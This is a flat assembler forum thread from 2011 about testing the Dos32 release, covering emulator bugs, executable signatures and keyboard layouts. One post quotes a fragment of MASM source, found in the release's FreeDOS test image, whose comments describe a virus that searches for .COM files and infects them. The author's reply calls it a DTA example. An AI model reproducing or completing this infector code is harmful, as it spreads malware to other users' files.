flat assembler
Message board for the users of flat assembler.
Index
> DOS > Dos32 release Goto page 1, 2 Next |
Author |
|
revolution 07 Feb 2011, 18:47
Dex4u wrote:
|
|||
07 Feb 2011, 18:47 |
|
Coty 07 Feb 2011, 20:44
Very cool! it seems very fast!
@revolution: Doesn't Fasm automatically assume a short jump as long as it is in rang? |
|||
07 Feb 2011, 20:44 |
|
revolution 07 Feb 2011, 21:06
Coty wrote: @revolution: Doesn't Fasm automatically assume a short jump as long as it is in rang? Code: jmp start ;is this short or long? db 'DEX3' db <lots of data here> <lots of code here> start: ;Did we need a long jmp to get here? |
|||
07 Feb 2011, 21:06 |
|
Dex4u 07 Feb 2011, 21:18
Thanks for both input, and yes it does test for both offsets, as did DexOS.
@Coty, Before loading the apps, i need to test for the 'DEX3' ID being at two different offsets just in case its not a short . |
|||
07 Feb 2011, 21:18 |
|
revolution 07 Feb 2011, 21:31
It would seem simpler to just have:
Code: db 'DEX3' ;signature start: ;code goes here |
|||
07 Feb 2011, 21:31 |
|
Dex4u 07 Feb 2011, 21:43
True, but at the time i learn t assembly you could not do that.
|
|||
07 Feb 2011, 21:43 |
|
edfed 07 Feb 2011, 22:26
no special signature at all is an option?
use file extension, or assume the file is a dos3 executable, then, no need for the header, pure flat binary...? Code: org 400000h ;to differenciate from org 100h's .com use32 ;32 bits instrucitons ... ;type your text here |
|||
07 Feb 2011, 22:26 |
|
tom tobias 08 Feb 2011, 11:18
Dex4u wrote: Note: if you want to test it on real PC let me know as the image is differant. Yes, I would like to download the version which runs on an actual computer, if it can be arranged!! Will the image be written to cdrom, or usb flash memory, or both? cheers, tom |
|||
08 Feb 2011, 11:18 |
|
edfed 08 Feb 2011, 12:29
i'd like to test on my netbook, from WIN98 DOS installed on USB flash.
just need a .com or .exe file, boot DOS, then, launch DOS32.exe i suggest an extension for the DOS32 executables program.d32 and confirm that there is no need at all for the DOS3 checking, assume the programm is a valid executable and that's all. it will simplify the code, and the launch process too. and if there is a very good reason to make it org 400000h, let it be, but instead, it would be better to do a org 200h, org 1000h, or anything smaller. Code:
org 400000h
use32
...
|
|||
08 Feb 2011, 12:29 |
|
i-don 08 Feb 2011, 15:41
I've tried on VPC2007. All the *.DEX program were failed to load. The cursor keep blinking on empty space below the prompt line after press Enter.
EDIT: after awhile, Abort, failed, retry message appeared telling me it can't read the floppy and did not respond to the keyboard entry. Can't continue, have to reboot. One question though, does DOS32 supporting FAT32? @edfed, *.d32 sound like a database files. I preferred *.b32 or *.x32 much better to represent binary 32-bit or executable 32-bit. |
|||
08 Feb 2011, 15:41 |
|
Dex4u 08 Feb 2011, 16:17
First thanks for all your feed back, here is a ver for real PC, just make a bootable dos disk, can be floppy, cd, hdd, usb. win98 startup disk etc.
Than add the files from the Dos32PC.zip Once booted to Dos, type Dos32 <enter> NOTE: It must be a plain Dos, NO Extended memory etc. And you will be able to use fat32 etc, if the underling Dos supports it. As for VPC2007 i will get a copy and find the problem and get back to you PS: If you boot from usb you can read/write to it, but do not try and change it once booted, as that will not work. PPS: If you test it on real PC, do not use the emulation ver, use the Dos32PC ver. [EDIT] Please read latter post for update [/edit] Last edited by Dex4u on 14 Feb 2011, 22:41; edited 1 time in total |
|||
08 Feb 2011, 16:17 |
|
i-don 09 Feb 2011, 16:50
Probably it's not related, I the working of your DexOS running under VPC is the kernel v3 with US keyboard running on a HDD. The other version were not working. Is there a chance it was the same case?
|
|||
09 Feb 2011, 16:50 |
|
Dex4u 09 Feb 2011, 20:13
Hi i-don,
I have done some test and i get the same results on VPC2007 as you, in DexOS the read\write had both pm hdd, floppy drivers and bios, but dos32 goes back to realmode and uses dos functions for read/write. It something to do with the way VPC2007, it does not like something in the switching code, so when you get the abort, etc its stuck in realmode Dos, when you press the keyboard it is not past to realmode dos so we get stuck. It does not do this in all the real pc i have tested it on. One thing you can test in DexOS is if you get the old problem try typing PMODE <enter> And it should then work ok. Note this is for DexOS, as i have not added the pm drivers to Dos32 yet. |
|||
09 Feb 2011, 20:13 |
|
f2 09 Feb 2011, 22:36
Hi Dex,
I have tested your new Dos32, both on Qemu and on an old computer (because it is the only one to have a floppy drive). And I have not encountered any problems. Well, it looks like a 32-bit DOS extender, even if it is not really one. Anyway, it's a good project you have and I'm waiting for the next releases... Regards, f2 |
|||
09 Feb 2011, 22:36 |
|
Dex4u 10 Feb 2011, 01:30
Hi f2, thanks for testing and yes your right about the DOS extender, but the thing i did not like about normal DOS extenders, you need to do alot of setting up and code in a different way than realmode dos.
With Dos32 it should be much easier to move from RM to PM, by reading those old dos asm tuts. PS: When you test the next release, you can make a bootable usb dos fob, then add the above files. And boot that way, as it can still read/write to the usb. |
|||
10 Feb 2011, 01:30 |
|
Dex4u 14 Feb 2011, 22:58
UPDATE I have now fixed it so you can use the same ver in real and emulators
including VPC2007 Last edited by Dex4u on 28 Feb 2011, 23:18; edited 2 times in total |
|||
14 Feb 2011, 22:58 |
|
DOS386 17 Feb 2011, 10:00
Got "freedos.img" from here: http://www.dex.asm4u.net/Dos32/
Code: ASSUME CS:MAIN,DS:MAIN,SS:NOTHING ORG 100H ;This host is a shell of a program which will release the virus into the ;system. All it does is jump to the virus routine, which does its job and ;returns to it, at which point it terminates to DOS. HOST: jmp NEAR PTR VIRUS_START ;MASM cannot assemble this jmp correctly db 'VI' mov ah,4CH mov al,0 int 21H ;terminate normally with DOS VIRUS: ;a label for the first byte of the virus COMFILE DB '*.COM',0 ;search string for a com file VIRUS_START: call GET_START ;get start address ;This is a trick to determine the location of the start of the program. We put ;the address of GET_START on the stack with the call, which is overlayed by ;VIR_START. Subtract offsets to get @VIRUS GET_START: sub WORD PTR [VIR_START],OFFSET GET_START - OFFSET VIRUS mov dx,OFFSET DTA ;put DTA at the end of the virus for now mov ah,1AH ;set new DTA function int 21H call FIND_FILE ;get a com file to attack jnz EXIT_VIRUS ;returned nz - no file to infect, exit call INFECT ;have a good COM file to use - infect it mov dx,OFFSET FNAME ;display the name of the file just infected mov WORD PTR [HANDLE],24H ;make sure string terminates w/ '$' mov ah,9 int 21H ;display it EXIT_VIRUS: Why do you include viriii . and even in MA$M syntax ??? ASS'ume WtF ... PS: "VesaDemo.DEX" doesn't work (hardcoded 32bpp mode numbers ???) PPSS: it comes even worse: you included my code Code: SOMEMEMORY = $100000 ; 1 MB , more than high enough (code < 1KB, segment 4 MB) BUF32 = SOMEMEMORY ; $32 = #50 bytes DOSMEMSEL = SOMEMEMORY + $32 ; 2 bytes DOSMEMSEG = SOMEMEMORY + $34 ; 2 bytes DOSMEMLIN = SOMEMEMORY + $36 ; 4 bytes VESABUF = SOMEMEMORY + $3A ; $200 bytes VESAOK = SOMEMEMORY + $023A ; 1 byte PBUF = SOMEMEMORY + $023B ; $50 = #80 bytes VESABUFPO = SOMEMEMORY + $028B ; 2 bytes use32 org 0 ; *** Print text using DOS API Translation *** mov ax,$0900 mov edx,t8 int 21h jmp @f t8 db 'Hello (API Trans) !!!',0Dh,0Ah,24h @@: ; *** Create ZERO-based segment *** mov cx,1 xor ax,ax int 31h ; allocate descriptor for data mov di,ax mov dx,ds lar cx,dx shr cx,8 or cx,0C000h mov bx,di int 31h ; set data descriptor access rights mov ecx,0 ;ZERO mov edx,0 mov ax,7 ; set descriptor base address CX:DX // CX high int 31h mov bx,di ;HACK ??? int 31h mov cx,0FFFFh mov dx,0FFFFh FYI, the code ^^^ is obsolete, CopyLeft, PublicDomain, and it sucks PPPSSS: you seem to have have a 63-vs-55-mask-BUG in _________________ Bug Nr.: 12345 Title: Hello World program compiles to 100 KB !!! Status: Closed: NOT a Bug |
|||
17 Feb 2011, 10:00 |
|
Dex4u 17 Feb 2011, 19:39
This freedos image is the image that i used to test members code, including yours, they are just .asm files, you should be pleased thats what you posted it for
And whats a "63-vs-55-mask-BUG" mean ?. The 100k hello world is a test app to test fasm, what happens when you assemble a 100k file with 50k of space left on the disk. PS: thats not a virus, its a DTA example, of find first etc. |
|||
17 Feb 2011, 19:39 |
|
i-don 18 Feb 2011, 16:14
The new version is working great now on VPC. But I have a problem with the keyboard. Especially the backslash key. When FreeDOS boot, the keyboard was OK with the key. But when Dos2X launched, backslash turn into # character.
It's like the Dos2X has it's own keyboard driver an it's not compatible with my keyboard. An UK keyboard driver, I presumed. So, what solution to be used to restore the previous real mode keyboard mode? I assumed most DOS boot using US keyboard since beginning of the OS history. Other keyboard like UK and other has to load driver after the DOS boot. Shouldn't Dos32/Dos2x has to do the same once loading into the PMode? |
|||
18 Feb 2011, 16:14 |
|
Goto page 1, 2 Next < Last Thread | Next Thread > |
Forum Rules:
|
Copyright © 1999-2024, Tomasz Grysztar. Also on GitHub, YouTube.
Website powered by rwasa.